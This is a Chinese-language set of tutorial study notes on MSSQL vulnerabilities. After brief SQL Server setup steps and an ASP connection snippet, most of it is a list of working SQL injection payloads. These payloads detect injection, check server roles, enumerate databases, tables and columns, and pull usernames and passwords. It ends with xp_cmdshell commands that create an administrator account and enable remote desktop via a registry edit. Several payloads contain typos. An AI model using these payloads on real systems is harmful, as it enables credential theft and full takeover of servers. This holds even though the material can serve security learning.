某教程學習筆記(一):08、MSSQL資料庫漏洞
你永遠不知道,愛你愛到發瘋的人,給你發過長篇大論的人,突然安靜下來,不再打擾你,他心裡經歷了怎樣的傷痛。。。
一、MSSQL介紹
MSSQL商業,效能好,易用,企業支援好,有很多精度要高的型別,學校、政府、線上辦公、遊戲、棋牌等部門可能會用。
埠:1433
字尾:.mdf/.ldf
sa許可權:資料庫操作,檔案管理,命令執行,登錄檔讀取等,相當於win系統system
db許可權:檔案管理,資料庫操作等,相當於win系統adminnstrators
public許可權:資料庫操作,相當於win系統guest
二、SQL SERVER 2005
1、安裝成功,輸入賬號密碼登陸
2、master、model、msdb、tempdb這四個資料庫是系統自帶資料庫
3、右擊資料庫,新建資料庫,自動生成兩個檔案
4、雙擊展開新建的資料庫,右擊表,新增表,輸入列名和資料型別,儲存
5、右擊新建的表,開啟表,然後就可以新增我們的資料了
6、刪除資料庫,需要先右擊要刪除的資料庫,選擇任務,再選擇分離,然後再進目錄刪除資料庫
7、新增外來的資料庫,先把資料庫檔案放進目錄,然後右擊資料資料庫,選擇附加
8、備份資料庫,選擇要備份的資料庫右擊,選擇生成指令碼,選擇為伺服器版本編寫指令碼(修改為自己要用的版本)
9、還原資料庫,將匯出的腳本里面的內容複製到sql語句,執行,就會和重新生成一個數據庫,裡面的內容和備份資料庫的內容一樣。
三、程式碼呼叫
<%
cctt = “provier=sqloledb;source=local;uid=sa;pwd=**;database=database1”
Set conn = Server.Createobject(“ADODB.Connection”)
conn.open cctt
%>
provider後面的不用管,照寫; source後面的可以是ip地址,這裡我用的是本地的;sa是內建的使用者,它的密碼是你在安裝的時候設定的; database後面是你要連線的資料庫的名稱.
四、判斷注入
and 1=1 返回正常
and 1=2 返回錯誤,說明有注入
and user>0 返回正常,說明是sqlserver注入
and (select count(*)from sysobjects)>0 mssql 返回正常,說明是sqlserver注入
猜數表名
and( select count()from[表名])>0
猜欄位
and( select Count(欄位名)from[表名])>0
猜欄位中記錄長度
and(select top1len(欄位名)from表名)>0
猜欄位的asc值( access)
and( (select top1 asc(mid(欄位名,1,1)from表名)>0
猜欄位的ascii值(mssql)
and( select top1 unicode(substring(欄位名1,1)from表名)>0
測試許可權結構( mssql)
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’));-- //判斷是否是系統管理員
and 1=(select IS_SRVROLEMEMBERC(‘serveradmin’));–
and 1=(select IS_SRVROLEMEMBERC(‘setupadmin’));–
and 1=(select IS_SRVROLEMEMBERC(‘securityadmin’));–
and 1=(select IS_SRVROLEMEMBER(‘diskadmin’));–
and 1=(select IS_SRVROLEMEMBER(‘bulkadmin’);–
and 1=(select is_srvrolemember(‘db_owner’));–//判斷是否是庫許可權
and 1=(select is_srvrolemember(‘public’));–//判斷是否是pubilc許可權
and 1=convert(int,db_name())或1=(select db_name())//當前資料庫名
and 1=(select @@servername)//本地服務名
and 1=(select HAS_DBACCESS(‘master’))//判斷是否有庫讀取許可權
猜版本號
id=1 and 1=(select @@version)
id=@@version
猜資料庫名稱
id=1 and 1=(select db_name())
id=db_name()
獲取所有資料庫
id=1 and 1=(select name from master…sysdatabases for xml path)
獲取第一個使用者資料庫
id=1 and 1=(select top 1 name from master…sysdatabases where dbid>4) #資料庫是從第五個開始排的
獲取下一個資料庫
id=1 and 1=(select top 1 name from master…sysdatabases where dbid>4 and name <>‘上面查出來的資料庫’)
或者
id=1 and 1=(select top 1 name from master…sysdatabases where dbid>5) #一次類推
獲取所有表
id=1 and 1=(select name from sysobjects for xml path)
獲取第一張表
id=1 and 1=(select top 1 name from sysobjects where xtype=‘u’)
獲取下一張表
id=1 and 1=(select top 1 name from sysobjects where xtype=‘u’ and name <>‘上面查出來的表’)
獲取表users第一列列名uname
id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘users’))
獲取表users第二列列名upass
id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘users’) and name <> ‘uname’)
依次往後爆破
獲取表users第一個使用者名稱
?id=1 and 1=(select top 1 uname from users)
獲取密碼
?id=1 and 1=(select top 1 upass from users)
五、利用xp_cmdshell新增使用者
id=1 ;exec master…xp_cmdshell ‘net user username password /add’
id=1 ;exec master… xp_cmdshell ‘net localgroup administrators username /add’ 新增到管理員組
六、開啟3389埠
id=1 ;exec master…xp_cmdshell ‘sc config termservice start=auto’
;exec master…xp_cmdshell ‘net start termservice’
;exec master…xp_cmdshell ‘reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /vfDenyTSConnections /t REG_DWORD/d 0x0/f’
禁止非法,後果自負
歡迎關注公眾號:web安全工具庫